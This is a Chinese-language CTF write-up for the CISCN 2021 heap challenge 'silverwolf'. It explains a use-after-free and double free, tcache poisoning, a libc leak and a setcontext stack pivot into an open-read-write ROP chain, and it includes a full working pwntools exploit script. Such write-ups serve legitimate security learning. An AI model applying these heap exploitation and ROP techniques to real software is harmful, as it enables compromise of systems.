CISCN2021-silverwolf-WP

Posted on May 19, 2021

这次 CISCN 可以说是没参赛,只做了分数最低的 pwny,最后 realloc 调 one_gadget 栈的工作也不是我做的(一方面嫌烦另一方面刚准备调学长已经把 exp 写好了)。那题其实就是个脑洞题,没什么难度。channel 还没看,大概就是一个 UAF 和 arm 加 qemu-user 运行免去 leak 的题,之后看心情复现一下吧(arm 的调试仍然不是很会,还需要多学习)。

lonelywolf 和 silverwolf 两题类似,后者开启了 seccomp,只能 orw。前面那题我就不复现了,仅复现 silverwolf。

漏洞点很简单,就是一个指针未置零造成的 UAF 和 double free。

做法就是首先乱搞一通 leak 出堆地址(直接申请释放输出就可以 leak 了)。

然后通过 tcache poisoning 分配一个 chunk 到较大(大于 0x80)的 tcache chunk 上,然后做多次 double free,直到溢出到 unsorted bin 中,然后就可以 leak 出 libc 基址。

最后通过 setcontext 栈迁移做 rop 实现 orw。关于 setcontext 栈迁移的方法可见此文,注意 libc-2.27 下 setcontext 使用的寻址寄存器为 rdi,可以直接通过 free 触发 __free_hook 触发。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
#context.log_level = "debug"

sh = process("./silverwolf")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def alloc(index,size):
    sh.sendlineafter("choice: ",'1')
    sh.sendlineafter("Index: ",str(index))
    sh.sendlineafter("Size: ",str(size))

def edit(index,payload):
    sh.sendlineafter("choice: ",'2')
    sh.sendlineafter("Index: ",str(index))
    sh.sendafter("Content: ",payload)

def show(index):
    sh.sendlineafter("choice: ",'3')
    sh.sendlineafter("Index: ",str(index))

def delete(index):
    sh.sendlineafter("choice: ",'4')
    sh.sendlineafter("Index: ",str(index))

for i in range(12):
    alloc(0,0x18)
alloc(0,0x58)

alloc(0,0x78)
delete(0)
show(0)

sh.recvuntil("Content: ")
heap_addr = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x1170
log.success("heap_addr: " + hex(heap_addr))

alloc(0,0x18)
delete(0)
edit(0,p64(heap_addr + 0xa90) + '\n')
alloc(0,0x18)
alloc(0,0x18)
for i in range(4):
    edit(0,p64(0) * 2 + '\n')
    delete(0)
edit(0,p64(0 * 2) + '\n')
delete(0)
show(0)

sh.recvuntil("Content: ")
libc_base = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x10 - libc.sym["__malloc_hook"] - 96
log.success("libc_base: " + hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
setcontext = libc_base + libc.sym["setcontext"]

pop_rdi_ret = libc_base + 0x215bf
pop_rsi_ret = libc_base + 0x23eea
pop_rdx_ret = libc_base + 0x1b96
pop_rax_ret = libc_base + 0x43ae8
pop_rsp_ret = libc_base + 0x3960
flag_str_addr = heap_addr + 0x1170
syscall_ret = libc_base + 0xd2745
open_chain = p64(pop_rdi_ret) + p64(flag_str_addr) 
open_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret)
read_chain = p64(pop_rdi_ret) + p64(3) 
read_chain += p64(pop_rsi_ret) + p64(heap_addr)
read_chain += p64(pop_rdx_ret) + p64(0x40) + p64(libc.sym["read"] + libc_base) # read
puts_chain = p64(pop_rdi_ret) + p64(heap_addr)
puts_chain += p64(libc.sym["puts"] + libc_base) # puts
orw_chain = open_chain + read_chain + puts_chain

alloc(0,0x78)
edit(0,orw_chain) # 0xE50
alloc(0,0x78)
edit(0,'./flag\x00' + '\n') # 0x1170
for i in range(4):
    alloc(0,0x78)
for i in range(6):
    alloc(0,0x68)
alloc(0,0x68)
edit(0,p64(heap_addr + 0xE50 + 8) + p64(pop_rdi_ret) + '\n')

alloc(0,0x20)
delete(0)
edit(0,p64(free_hook) + '\n')
alloc(0,0x20)
alloc(0,0x20)
edit(0,p64(setcontext + 0x35) + '\n')
alloc(0,0x78)
delete(0)

sh.interactive()

后记

一开始其实没有想到分配到较大的 tcache chunk 的做法,使用的是通过 malloc_consolidate leak 的方法,这样也可以 leak 出 libc 基址。具体做法为通过多次申请 chunk(申请 0x78 大小的堆块一千多次)耗尽 top_chunk,然后触发 small request 的 malloc_consolidate

/* When we are using atomic ops to free fast chunks we can get
         here for all block sizes.  */
      else if (atomic_load_relaxed (&av->have_fastchunks))
        {
          malloc_consolidate (av);
          /* restore original bin index */
          if (in_smallbin_range (nb))
            idx = smallbin_index (nb);
          else
            idx = largebin_index (nb);
        }

也就是这里,通过此流程会使 fastbin 中的 chunk 都经过一次 unsorted bin,可以 leak。不过由于 top_chunk 被耗尽,又 brk 等系统调用被禁用,无法再分配 chunk,会导致 orw_chain 难以布置,我没有再费力思考,总之这里不是很适合用这种方法 leak。